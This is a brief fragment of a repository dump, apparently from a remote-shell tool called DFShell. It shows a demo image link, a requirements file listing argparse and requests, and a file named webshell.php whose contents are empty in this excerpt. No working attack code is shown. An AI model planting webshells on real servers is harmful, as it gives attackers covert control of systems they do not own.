https://raw.githubusercontent.com/D3Ext/DFShell/91da98a13c8284997fe2767079329c6a08d0108c/images/demo3.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | argparse 2 | requests 3 | -------------------------------------------------------------------------------- /webshell.php: -------------------------------------------------------------------------------- 1 | 7 | --------------------------------------------------------------------------------